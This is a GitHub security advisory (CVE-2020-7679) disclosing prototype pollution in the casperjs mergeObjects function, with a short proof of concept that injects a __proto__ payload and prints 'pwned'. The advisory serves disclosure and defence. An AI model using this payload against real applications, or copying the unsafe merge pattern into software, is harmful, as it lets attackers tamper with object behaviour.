ADVISORIES

GitHub Advisory Database

GHSA-vrr3-5r3v-7xfw

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

High No fix available CVE-2020-7679

Details

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

Affected packages

EcosystemPackageAffected versions
npmcasperjs
All versions up to and including 1.1.4

References